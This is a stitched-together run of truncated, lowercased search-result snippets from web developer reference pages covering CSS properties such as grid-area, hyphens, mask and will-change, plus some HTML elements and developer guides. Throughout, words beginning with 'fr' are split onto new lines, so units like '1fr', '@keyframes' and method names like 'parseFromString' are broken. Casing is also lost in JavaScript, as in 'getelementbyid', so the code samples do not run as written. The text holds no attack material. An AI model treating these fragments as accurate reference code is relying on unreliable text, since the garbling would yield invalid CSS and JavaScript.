from javascript as a member of the htmlelement.style object, modern browsers support float, but in older browsers you have to spell it as cssfloat, with internet explorer versions 8 and older using stylefloat.
... syntax /* keyword values */ float: left; float: right; float: none; float: inline-start; float: inline-end; /* global values */ float: inherit; float: initial; float: unset; the float property is specified as a single keyword, chosen
from the list of values below.
font-variant-position - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated
from structured data.
...for androidopera for androidsafari on iossamsung internetfont-variant-positionchrome no support noedge no support nofirefox full support 34 full support 34 no support 24 — 34disabled disabled
from version 24 until version 34 (exclusive): this feature is behind the layout.css.font-features.enabled preference (needs to be set to true).
... no support nowebview android no support nochrome android no support nofirefox android full support 34 full support 34 no support 24 — 34disabled disabled
from version 24 until version 34 (exclusive): this feature is behind the layout.css.font-features.enabled preference (needs to be set to true).
grid-area - CSS: Cascading Style Sheets
if a negative integer is given, it instead counts in reverse, starting
from the end edge of the explicit grid.
... span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s placement such that the corresponding edge of the grid item’s grid area is n lines
from the opposite edge.
...] | [ span && [ <integer> | <custom-ident> ] ] examples setting grid areas html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 100px; grid-template: repeat(4, 1
fr) / 50px 100px; } #item1 { background-color: lime; grid-area: 2 / 2 / auto / span 3; } #item2 { background-color: yellow; } #item3 { background-color: blue; } result specifications specification status comment css grid layoutthe definition of 'grid-area' in that specification.
grid-auto-columns - CSS: Cascading Style Sheets
syntax /* keyword values */ grid-auto-columns: min-content; grid-auto-columns: max-content; grid-auto-columns: auto; /* <length> values */ grid-auto-columns: 100px; grid-auto-columns: 20cm; grid-auto-columns: 50vmax; /* <percentage> values */ grid-auto-columns: 10%; grid-auto-columns: 33.3%; /* <flex> values */ grid-auto-columns: 0.5
fr; grid-auto-columns: 3
fr; /* minmax() values */ grid-auto-columns: minmax(100px, auto); grid-auto-columns: minmax(max-content, 2
fr); grid-auto-columns: minmax(20%, 80vmax); /* fit-content() values */ grid-auto-columns: fit-content(400px); grid-auto-columns: fit-content(5cm); grid-auto-columns: fit-content(20%); /* multiple track-size values */ grid-auto-columns: min-content max-content auto; gr...
...id-auto-columns: 100px 150px 390px; grid-auto-columns: 10% 33.3%; grid-auto-columns: 0.5
fr 3
fr 1
fr; grid-auto-columns: minmax(100px, auto) minmax(max-content, 2
fr) minmax(20%, 80vmax); grid-auto-columns: 100px minmax(100px, auto) 10% 0.5
fr fit-content(400px); /* global values */ grid-auto-columns: inherit; grid-auto-columns: initial; grid-auto-columns: unset; values <length> is a non-negative length.
... <flex> is a non-negative dimension with the unit
fr specifying the track’s flex factor.
grid-auto-rows - CSS: Cascading Style Sheets
syntax /* keyword values */ grid-auto-rows: min-content; grid-auto-rows: max-content; grid-auto-rows: auto; /* <length> values */ grid-auto-rows: 100px; grid-auto-rows: 20cm; grid-auto-rows: 50vmax; /* <percentage> values */ grid-auto-rows: 10%; grid-auto-rows: 33.3%; /* <flex> values */ grid-auto-rows: 0.5
fr; grid-auto-rows: 3
fr; /* minmax() values */ grid-auto-rows: minmax(100px, auto); grid-auto-rows: minmax(max-content, 2
fr); grid-auto-rows: minmax(20%, 80vmax); /* multiple track-size values */ grid-auto-rows: min-content max-content auto; grid-auto-rows: 100px 150px 390px; grid-auto-rows: 10% 33.3%; grid-auto-rows: 0.5
fr 3
fr 1
fr; grid-auto-rows: minmax(100px, auto) minmax(max-content, 2
fr) minm...
...ax(20%, 80vmax); grid-auto-rows: 100px minmax(100px, auto) 10% 0.5
fr fit-content(400px); /* global values */ grid-auto-rows: inherit; grid-auto-rows: initial; grid-auto-rows: unset; values <length> is a non-negative length.
... <flex> is a non-negative dimension with the unit
fr specifying the track’s flex factor.
grid-column-end - CSS: Cascading Style Sheets
if a negative integer is given, it instead counts in reverse, starting
from the end edge of the explicit grid.
... span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s placement such that the column end edge of the grid item’s grid area is n lines
from the start edge.
...] | [ span && [ <integer> | <custom-ident> ] ] examples setting column end for a grid item html <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> <div class="box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1
fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start: 1; grid-row-start: 3; grid-row-end: 5; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; ba...
grid-column-start - CSS: Cascading Style Sheets
if a negative integer is given, it counts in reverse, starting
from the end edge of the explicit grid.
... span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s placement, such that the column start edge of the grid item’s grid area is n lines
from the end edge.
...] | [ span && [ <integer> | <custom-ident> ] ] examples setting column start for a grid item html <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> <div class="box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1
fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start: 1; grid-row-start: 3; grid-row-end: 5; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; ba...
grid-column - CSS: Cascading Style Sheets
if a negative integer is given, it instead counts in reverse, starting
from the end edge of the explicit grid.
... span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s placement such that the corresponding edge of the grid item’s grid area is n lines
from the opposite edge.
...] | [ span && [ <integer> | <custom-ident> ] ] examples setting grid column size and location html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 100px; grid-template-columns: repeat(6, 1
fr); grid-template-rows: 100px; } #item1 { background-color: lime; } #item2 { background-color: yellow; grid-column: 2 / 4; } #item3 { background-color: blue; grid-column: span 2 / 7; } result specifications specification status comment css grid layoutthe definition of 'grid-column' in that specification.
grid-row-end - CSS: Cascading Style Sheets
if a negative integer is given, it instead counts in reverse, starting
from the end edge of the explicit grid.
... span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s placement such that the row end edge of the grid item’s grid area is n lines
from the start edge.
...] | [ span && [ <integer> | <custom-ident> ] ] examples setting row end for a grid item html <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> <div class="box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1
fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start: 1; grid-row-start: 3; grid-row-end: 5; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; ba...
grid-row-start - CSS: Cascading Style Sheets
if a negative integer is given, it instead counts in reverse, starting
from the end edge of the explicit grid.
... span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s placement; such that the row start edge of the grid item’s grid area is n lines
from the end edge.
...] | [ span && [ <integer> | <custom-ident> ] ] examples setting row start for a grid item html <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> <div class="box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1
fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start: 1; grid-row-start: 3; grid-row-end: 5; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; ba...
grid-row - CSS: Cascading Style Sheets
if a negative integer is given, it instead counts in reverse, starting
from the end edge of the explicit grid.
... span && [ <integer> || <custom-ident> ] contributes a grid span to the grid item’s placement such that the corresponding edge of the grid item’s grid area is n lines
from the opposite edge.
...] | [ span && [ <integer> | <custom-ident> ] ] examples setting grid row size and location html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 200px; grid-template-columns: 200px; grid-template-rows: repeat(6, 1
fr); } #item1 { background-color: lime; } #item2 { background-color: yellow; grid-row: 2 / 4; } #item3 { background-color: blue; grid-row: span 2 / 7; } result specifications specification status comment css grid layoutthe definition of 'grid-row' in that specification.
hyphens - CSS: Cascading Style Sheets
note: the rules defining how hyphenation is performed are not explicitly defined by the specification, so the exact hyphenation may vary
from browser to browser.
... syntax /* keyword values */ hyphens: none; hyphens: manual; hyphens: auto; /* global values */ hyphens: inherit; hyphens: initial; hyphens: unset; the hyphens property is specified as a single keyword value chosen
from the list below.
... auto the browser is
free to automatically break words at appropriate hyphenation points, following whatever rules it chooses.
image-set() - CSS: Cascading Style Sheets
the image-set() css function notation is a method of letting the browser pick the most appropriate css image
from a given set, primarily for high pixel density screens.
...the image-set() function delivers the most appropriate image resolution for a user’s device, providing a set of image options — each with an associated resolution declaration —
from which the browser picks the most appropriate for the device and settings.
... working draft browser compatibility the compatibility table on this page is generated
from structured data.
justify-items - CSS: Cascading Style Sheets
erty is ignored (more about alignment in flexbox) in grid layouts, it aligns the items inside their grid areas on the inline axis (more about alignment in grid layouts) syntax /* basic keywords */ justify-items: auto; justify-items: normal; justify-items: stretch; /* positional alignment */ justify-items: center; /* pack items around the center */ justify-items: start; /* pack items
from the start */ justify-items: end; /* pack items
from the end */ justify-items: flex-start; /* equivalent to 'start'.
...*/ justify-items: self-start; justify-items: self-end; justify-items: left; /* pack items
from the left */ justify-items: right; /* pack items
from the right */ /* baseline alignment */ justify-items: baseline; justify-items: first baseline; justify-items: last baseline; /* overflow alignment (for positional alignment only) */ justify-items: safe center; justify-items: unsafe center; /* legacy alignment */ justify-items: legacy right; justify-items: legacy left; justify-items: legacy center; /* global values */ justify-items: inherit; justify-items: initial; justify-items: unset; this property can take one of fou...
... html <article class="container" tabindex="0"> <span>first child</span> <span>second child</span> <span>third child</span> <span>fourth child</span> </article> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; } article { background-color: red; display: grid; grid-template-columns: 1
fr 1
fr; grid-auto-rows: 40px; grid-gap: 10px; width: 300px; justify-items: stretch; } article:hover, article:focus { justify-items: center; } article span { background-color: black; color: white; margin: 1px; text-align: center; } article, span { padding: 10px; border-radius: 7px; } article { margin: 20px; } result specifications specification status c...
justify-self - CSS: Cascading Style Sheets
s, this property is ignored (more about alignment in flexbox) in grid layouts, it aligns an item inside its grid area on the inline axis (more about alignment in grid layouts) syntax /* basic keywords */ justify-self: auto; justify-self: normal; justify-self: stretch; /* positional alignment */ justify-self: center; /* pack item around the center */ justify-self: start; /* pack item
from the start */ justify-self: end; /* pack item
from the end */ justify-self: flex-start; /* equivalent to 'start'.
...*/ justify-self: self-start; justify-self: self-end; justify-self: left; /* pack item
from the left */ justify-self: right; /* pack item
from the right */ /* baseline alignment */ justify-self: baseline; justify-self: first baseline; justify-self: last baseline; /* overflow alignment (for positional alignment only) */ justify-self: safe center; justify-self: unsafe center; /* global values */ justify-self: inherit; justify-self: initial; justify-self: unset; this property can take one of three different forms: basic keywords: one of the keyword values normal, auto, or stretch.
... html <article class="container"> <span>first child</span> <span>second child</span> <span>third child</span> <span>fourth child</span> </article> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; } article { background-color: red; display: grid; grid-template-columns: 1
fr 1
fr; grid-auto-rows: 40px; grid-gap: 10px; width: 300px; justify-items: stretch; } span:nth-child(2) { justify-self: start; } span:nth-child(3) { justify-self: center; } span:nth-child(4) { justify-self: end; } article span { background-color: black; color: white; margin: 1px; text-align: center; } article, span { padding: 10px; border-radius: 7px; } article { margin...
margin-left - CSS: Cascading Style Sheets
a positive value places it farther
from its neighbors, while a negative value places it closer.
... absolutely positioned layout mode flex, inline-flex any any 0, except if there is any positive horizontal
free space.
... working draft no significant change
from css 2.1.
mask - CSS: Cascading Style Sheets
ge values */ mask: url(mask.png); /* pixel image used as mask */ mask: url(masks.svg#star); /* element within svg graphic used as mask */ /* combined values */ mask: url(masks.svg#star) luminance; /* element within svg graphic used as luminance mask */ mask: url(masks.svg#star) 40px 20px; /* element within svg graphic used as mask positioned 40px
from the top and 20px
from the left */ mask: url(masks.svg#star) 0 0/50px 50px; /* element within svg graphic used as mask with a width and height of 50px */ mask: url(masks.svg#star) repeat-x; /* element within svg graphic used as horizontally repeated mask */ mask: url(masks.svg#star) stroke-box; /* element within svg graphic used as mask extending to the box enclosed by the stroke *...
...nd:mask-position: refer to size of mask painting area minus size of mask layer image (see the text for background-position)computed valueas each of the properties of the shorthand:mask-image: as specified, but with <url> values made absolutemask-mode: as specifiedmask-repeat: consists of two keywords, one per dimensionmask-position: consists of two keywords representing the origin and two offsets
from that origin, each given as an absolute length (if given a <length>), otherwise as a percentage.mask-clip: as specifiedmask-origin: as specifiedmask-size: as specified, but with relative lengths converted into absolute lengthsmask-composite: as specifiedanimation typeas each of the properties of the shorthand:mask-image: discretemask-mode: discretemask-repeat: discretemask-position: repeatable l...
..., <color-stop-list> )<conic-gradient()> = conic-gradient( [
from <angle> ]?
minmax() - CSS: Cascading Style Sheets
syntax /* <inflexible-breadth>, <track-breadth> values */ minmax(200px, 1
fr) minmax(400px, 50%) minmax(30%, 300px) minmax(100px, max-content) minmax(min-content, 400px) minmax(max-content, auto) minmax(auto, 300px) minmax(min-content, auto) /* <fixed-breadth>, <track-breadth> values */ minmax(200px, 1
fr) minmax(30%, 300px) minmax(400px, 50%) minmax(50%, min-content) minmax(300px, max-content) minmax(200px, auto) /* <inflexible-breadth>, <fixed-breadth> values */ minmax...
... <flex> a non-negative dimension with the unit
fr specifying the track’s flex factor.
...x minmax( [ <length> | <percentage> | min-content | max-content | auto ] , [ <length> | <percentage> | <flex> | min-content | max-content | auto ] ) css properties minmax() function can be used within: grid-template-columns grid-template-rows grid-auto-columns grid-auto-rows examples css #container { display: grid; grid-template-columns: minmax(min-content, 300px) minmax(200px, 1
fr) 150px; grid-gap: 5px; box-sizing: border-box; height: 200px; width: 100%; background-color: #8cffa0; padding: 10px; } #container > div { background-color: #8ca0ff; padding: 5px; } html <div id="container"> <div> item as wide as the content, but at most 300 pixels.
<number> - CSS: Cascading Style Sheets
the <number> css data type represents a number, being either an integer or a number with a
fractional component.
...a
fractional value is represented by a .
...4.01 positive
fraction -456.8 negative
fraction 0.0 zero +0.0 zero, with a leading + -0.0 zero, with a leading - .60
fractional number without a leading zero 10e3 scientific notation -3.4e-2 complicated scientific notation invalid numbers 12.
object-position - CSS: Cascading Style Sheets
syntax /* <position> values */ object-position: center top; object-position: 100px 50px; /* global values */ object-position: inherit; object-position: initial; object-position: unset; values <position>
from one to four values that define the 2d position of the element.
... img { width: 300px; height: 250px; border: 1px solid black; background-color: silver; margin-right: 1em; object-fit: none; } #object-position-1 { object-position: 10px; } #object-position-2 { object-position: 100% 10%; } the first image is positioned with its left edge inset 10 pixels
from the left edge of the element's box.
... browser compatibility the compatibility table on this page is generated
from structured data.
offset-distance - CSS: Cascading Style Sheets
tial value0applies totransformable elementsinheritednopercentagesrefer to the total path lengthcomputed valuefor <length> the absolute value, otherwise a percentageanimation typea length, percentage or calc(); formal syntax <length-percentage>where <length-percentage> = <length> | <percentage> examples using offset-distance in an animation the motion aspect in css motion path typically comes
from animating the offset-distance property.
... if you want to animate an element along its full path, you would define its offset-path and then set up an animation that takes the offset-distance
from 0% to 100%.
... html <div id="motion-demo"></div> css #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @key
frames move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1the definition of 'offset-distance' in that specification.
overscroll-behavior-x - CSS: Cascading Style Sheets
/* keyword values */ overscroll-behavior-x: auto; /* default */ overscroll-behavior-x: contain; overscroll-behavior-x: none; /* global values */ overscroll-behavior-x: inherit; overscroll-behavior-x: initial; overscroll-behavior-x: unset; syntax the overscroll-behavior-x property is specified as a keyword chosen
from the list of values below.
..."bounce" effects or re
freshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples preventing an underlying element
from scrolling horizontally in our simple overscroll-behavior-x example (see source code also), we have two block-level boxes, one inside the other.
overscroll-behavior-y - CSS: Cascading Style Sheets
avior-y: contain; overscroll-behavior-y: none; /* global values */ overscroll-behavior-y: inherit; overscroll-behavior-y: initial; overscroll-behavior-y: unset; initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax the overscroll-behavior-y property is specified as a keyword chosen
from the list of values below.
..."bounce" effects or re
freshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples preventing an underlying element
from scrolling vertically .messages { height: 220px; overflow: auto; overscroll-behavior-y: contain; } see overscroll-behavior for a full example and explanation.
quotes - CSS: Cascading Style Sheets
syntax /* keyword value */ quotes: none; quotes: auto; /* <string> values */ quotes: "«" "»"; /* set open-quote and close-quote to the
french quotation marks */ quotes: "«" "»" "‹" "›"; /* set two levels of quotation marks */ /* global values */ quotes: inherit; quotes: initial; quotes: unset; values none the open-quote and close-quote values of the content property produce no quotation marks.
... html <div lang="
fr"> <q>ceci est une citation
française.</q> <div> <hr> <div lang="ru"> <q>Это русская цитата</q> <div> <hr> <div lang="de"> <q>dies ist ein deutsches zitat</q> <div> <hr> <div lang="en"> <q>this is an english quote.</q> <div> css /*q { quotes: auto; }*/ result specifications specification status comment css generated content module l...
... recommendation initial definition browser compatibility the compatibility table on this page is generated
from structured data.
repeating-linear-gradient() - CSS: Cascading Style Sheets
syntax /* a repeating gradient tilted 45 degrees, starting blue and finishing red, repeating 3 times */ repeating-linear-gradient(45deg, blue, red 33.3%); /* a repeating gradient going
from the bottom right to the top left, starting blue and finishing red, repeating every 20px */ repeating-linear-gradient(to left top, blue, red 20px); /* a gradient going
from the bottom to top, starting blue, turning green after 40%, and finishing red.
... this gradient doesn't repeat because the last color stop defaults to 100% */ repeating-linear-gradient(0deg, blue, green 40%, red); /* a gradient repeating five times, going
from the left to right, starting red, turning green, and back to red */ repeating-linear-gradient(to right, red 0%, green 10%, red 20%); values <side-or-corner> the position of the gradient line's starting point.
...a value of 0deg is equivalent to to top; increasing values rotate clockwise
from there.
Specified value - CSS: Cascading Style Sheets
the specified value of a css property is the value it receives
from the document's style sheet.
... if the document's style sheet doesn't specify a value but it is an inherited property, the value will be taken
from the parent element.
... examples html <p>my specified color is given explicitly in the css.</p> <div>the specified values of all my properties default to their initial values, because none of them are given in the css.</div> <div class="fun"> <p>the specified value of my font family is not given explicitly in the css, so it is inherited
from my parent.
text-decoration-thickness - CSS: Cascading Style Sheets
syntax /* single keyword */ text-decoration-thickness: auto; text-decoration-thickness:
from-font; /* length */ text-decoration-thickness: 0.1em; text-decoration-thickness: 3px; /* percentage */ text-decoration-thickness: 10%; /* global values */ text-decoration-thickness: inherit; text-decoration-thickness: initial; text-decoration-thickness: unset; values auto the browser chooses an appropriate width for the text decoration line.
...
from-font if the font file includes information about a preferred thickness, use that value.
...it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the font size of the element itselfcomputed valueas specifiedanimation typeby computed value type formal syntax auto |
from-font | <length> | <percentage> examples varying thickness html <p class="thin">here's some text with a 1px red underline.</p> <p class="thick">this one has a 5px red underline.</p> <p class="shorthand">this uses the equivalent shorthand.</p> css .thin { text-decoration-line: underline; text-decoration-style: solid; text-decoration-color: red; text-decoration-thickness: 1px; } .th...
text-shadow - CSS: Cascading Style Sheets
each shadow is described by some combination of x and y offsets
from the element, blur radius, and color.
... when more than one shadow is given, shadows are applied
front-to-back, with the first-specified shadow on top.
...these <length> values specify the shadow's distance
from the text.
text-transform - CSS: Cascading Style Sheets
none is a keyword that prevents the case of all characters
from being changed.
... working draft
from css level 2 (revision 1)the definition of 'text-transform' in that specification., extends letters to any unicode character in the number or letter general category.
... recommendation
from css level 1the definition of 'text-transform' in that specification., extends letters to non-latin bi-cameral scripts css level 1the definition of 'text-transform' in that specification.
matrix3d() - CSS: Cascading Style Sheets
a1a2a3a4b1b2b3b4c1c2c3c4d1d2d3d4 examples cube squashing example the following example shows a 3d cube created
from dom elements and transforms, which can be hovered/focused to apply a matrix3d() transform to it.
... html <section id="example-element" tabindex="0"> <div class="face
front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </section> css #example-element { width: 100px; height: 100px; transform-style: preserve-3d; transition: transform 1.5s; transform: rotate3d(1, 1, 1, 30deg); margin: 50px auto; } #example-element:hover, #example-element:focus { transform: rotate3d(1, 1, 1, 30deg) matrix3d(1,0,0,0,0,1,6,0,0,0,1,0,50,100,0,1.1); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; } .
front { backgr...
...*/ display: flex; flex-flow: row wrap; justify-content: center; align-content: center; } .foo { width: 50%; padding: 1em; color: white; background: #ff8c66; border: 2px dashed black; text-align: center; font-family: system-ui, sans-serif; font-size: 14px; /* setting up animation for better demonstration */ animation: motionscale 2s alternate linear infinite; } @key
frames motionscale {
from { /* identity matrix is used as basis here.
translateZ() - CSS: Cascading Style Sheets
the translatez() css function repositions an element along the z-axis in 3d space, i.e., closer to or farther away
from the viewer.
...a value of 500px means the user is 500 pixels "in
front of" the imagery located at z=0.
... then, the translatez() function moves the element 200 pixels "outward"
from the screen, toward the user.
visibility - CSS: Cascading Style Sheets
to both hide an element and remove it
from the document layout, set the display property to none instead of using visibility.
...this value allows for the fast removal of a row or column
from a table without forcing the recalculation of widths and heights for the entire table.
... accessibility concerns using a visibility value of hidden on an element will remove it
from the accessibility tree.
widows - CSS: Cascading Style Sheets
(the paragraph is continued
from a prior page.) syntax values <integer> the minimum number of lines that can stay by themselves at the top of a new
fragment after a
fragmentation break.
...it has a little bit more text than the first one.</p> </div> css div { background-color: #8cffa0; columns: 3; widows: 2; } p { background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css
fragmentation module level 3the definition of 'widows' in that specification.
... candidate recommendation extends widows to apply to any type of
fragment, including pages, regions, or columns.
will-change - CSS: Cascading Style Sheets
but adding will-change directly in a stylesheet implies that the targeted elements are always a few moments away
from changing and the browser will keep the optimizations for much longer time than it would have otherwise.
...will-change: opacity), as the stacking context is created up
front.
... var el = document.getelementbyid('element'); // set will-change when the element is hovered el.addeventlistener('mouseenter', hintbrowser); el.addeventlistener('animationend', removehint); function hintbrowser() { // the optimizable properties that are going to change // in the animation's key
frames block this.style.willchange = 'transform, opacity'; } function removehint() { this.style.willchange = 'auto'; } specifications specification status comment css will change module level 1the definition of 'will-change' in that specification.
set:difference() - EXSLT
the template version of set:difference applies templates to these nodes in set:difference mode, copying the nodes so that a result tree
fragment consisting of the nodes is returned.
... syntax set:difference(nodeset1, nodeset2) parameters nodeset1 the node-set
from which to subtract nodes.
... nodeset2 the set of nodes to subtract
from nodeset1.
Making content editable - Developer guides
value);this.selectedindex=0;"> <option class="heading" selected>- background -</option> <option value="red">red</option> <option value="green">green</option> <option value="black">black</option> </select> </div> <div id="toolbar2"> <img class="intlink" title="clean" onclick="if(validatemode()&&confirm('are you sure?')){odoc.innerhtml=sdeftxt};" src="data:image/gif;base64,r0lgodlhfgawaiqbad04ktrlyz
frjlldzl9vj1dusy14wyodhpwibbsvfy6o7ioxw5qbms+wubcztca0ccs4kddqjdtltmrl1o3yitha7opcsd/f4pfvrvdv8pv5xv///////////////////yh5baekab8alaaaaaawabyaaav84ceozgmeakqubmteyzk547qobcfwtm/jgshq4rhmloxfiehqqsawr+z4iayaj0kegtfolizlwre4ocqwrxototaihmcz0tvgmbqkzhayyfewev14eq8iflhnehmfdqkaiskqci2pdc4qbg+oajc0ewadncogo6anqkkoiqa7" /> <img class="intlink" title="print" onclick="printdoc();" src="data:image/png;base64...
...wtu2wrn+jg5so/ocdh8ycmjdflehmlkjkvk7kuyn+ufza/rtth76zavocdptrxzqtni3mrwupc+6cktlxz/sddp2uu9uxlmyxz6qm8v4tz8lhf1h+zdqxt7s8olmxtbf4e8qafhjj3kbp2mzkkthpitjp9vh6ihia+whtasx5brpwuemgdondf/2a4m7ukds1jw662+xkqtkeuoqjktojm2h53yfl15psj04zc94wdtibr26fxlc2mzrvbccebz2kirfd414tkmlezbvgt33+qcohgha81swysew0r1uzfnylmtpx80pngqq91lwvk2jgvgnfvzg6ycyrat16gftw5kkkfo1eqltfh5q2ett0biwf+aitq4fdbk+imyo1oxvgf03wafjqvbckvdf
fryetxqiffygazths0zwagd7fg5tnnyntp8/fzvgwjofmgg7gox0sakkgqgdmgkbi0njgmeimpgdk5+wacewed0ywblhguz4hw5oduekrblt7dtgdegxacsiznx8zpmwh7k4rkpjcuhdxcul6mdsmmbxdlwch2+xozsgbnzsncee4euyv4pwcpswypw0uhdybkswu1nyjendreqtkjwn2+zvttc1vmstb/mvev/weyslasslimcohobjxw+n3ap/sjefnl5gepzmpu4kg7opr1+tofpyuu3becwykcwqcdfmwfkauo90fhkdinbcamvqnymgqueagqwcohbdc1rjv9pild8ibvkz6qyviibqgtjpx4k0xpigezorn1da0cij4v
fr0ta3wvbxh/rjdc...
...> <img class="intlink" title="dotted list" onclick="formatdoc('insertunorderedlist');" src="data:image/gif;base64,r0lgodlhfgawamigaaaaab1chf9vj1ie33morqezxv///////yh5baeaaacalaaaaaawabyaaamyelrc/jdksesppnhgrlbakizrerbbqm6ytnbfmy7lud64uwiukniggqliquwoykqykgaaow==" /> <img class="intlink" title="quote" onclick="formatdoc('formatblock','blockquote');" src="data:image/gif;base64,r0lgodlhfgawaiqxac1nqj
frjkbgmt9nqujnsk9xrfj7u2r9qmkbt1igzhmorm6sz4oxw3odz4cl2zsnw6kxyqo306k63bg70btb0rdi3bvi4p///////////////////////////////////yh5baekab8alaaaaaawabyaaavp4ceozgmeakqubes2cekkervei1zzuogyflakecezfi0ggtgkebatfmjavxwevookeqgabb9iqdcmrlpjetrqqlhhjinrtq/b7/i8fp8paqa7" /> <img class="intlink" title="delete indentation" onclick="formatdoc('outdent');" src="data:image/gif;base64,r0lgodlhfgawamihaaaaadljwlie35gj...
Introduction to Web development - Developer guides
javascript reference guide — a comprehensive, regularly updated guide to javascript for all levels of learning
from beginner to advanced.
... google's html, css, and javascript
from the ground up these easily digestible video tutorials
from google's expert web developers cover the basics of html, css and javascript.
... javascript
from null: a video series a video series on javascript for absolute beginners looking for more 'visual'-based learning ...
Parsing and serializing XML - Developer guides
xmlhttprequest loads content
from a url; xml content is returned as an xml document object with a dom tree built
from the xml itself.
... parsing strings into dom trees this example converts an xml
fragment in a string into a dom tree using a domparser: var smystring = '<a id="a"><b id="b">hey!</b></a>'; var oparser = new domparser(); var odom = oparser.parse
fromstring(smystring, "application/xml"); // print the name of the root element or error message console.log(odom.documentelement.nodename == "parsererror" ?
...alternatively, use a dom tree obtained
from xmlhttprequest.
Developer guides
audio and video delivery we can deliver audio and video on the web in several ways, ranging
from 'static' media files to adaptive live streams.
... the web open font format (woff) woff (web open font format) is a font file format that is
free for anyone to use on the web.
...it's primarily intended for sending form data, but can be used independently
from forms to transmit keyed data.
disabled - HTML: Hypertext Markup Language
if this attribute is not specified, the control inherits its setting
from the containing element, for example fieldset; if there is no containing element with the disabled attribute set, and the control itself does not have the attribute, then the control is enabled.
... this boolean attribute prevents the user
from interacting with the button.
... if this attribute isn't set, the button can still be disabled
from a containing element, for example <fieldset>; if there is no containing element with the disabled attribute set, then the button is enabled.
<area> - HTML: Hypertext Markup Language
"unsafe-url" meaning that the referrer will include the origin and the path (but not the
fragment, password, or username).
... this case is unsafe because it can leak origins and paths
from tls-protected resources to insecure origins.
... _parent: show the resource in the parent browsing context of the current one, if the current page is inside a
frame.
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
browser compatibility the compatibility table in this page is generated
from structured data.
...roperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontent deprecatednon-standardchrome full support 35edge full support 79firefox no support 33 — 59disabled no support 33 — 59disabled disabled
from version 33 until version 59 (exclusive): this feature is behind the dom.webcomponents.enabled preference (needs to be set to true).
... full support 26safari no support nowebview android full support 37chrome android full support 37firefox android no support 33 — 59disabled no support 33 — 59disabled disabled
from version 33 until version 59 (exclusive): this feature is behind the dom.webcomponents.enabled preference (needs to be set to true).
<dl>: The Description List element - HTML: Hypertext Markup Language
examples single term and description <dl> <dt>firefox</dt> <dd> a
free, open source, cross-platform, graphical web browser developed by the mozilla corporation and hundreds of volunteers.
... </dd> <!-- other terms and descriptions --> </dl> multiple terms, single description <dl> <dt>firefox</dt> <dt>mozilla firefox</dt> <dt>fx</dt> <dd> a
free, open source, cross-platform, graphical web browser developed by the mozilla corporation and hundreds of volunteers.
... </dd> <!-- other terms and descriptions --> </dl> single term, multiple descriptions <dl> <dt>firefox</dt> <dd> a
free, open source, cross-platform, graphical web browser developed by the mozilla corporation and hundreds of volunteers.
<i>: The Idiomatic Text element - HTML: Hypertext Markup Language
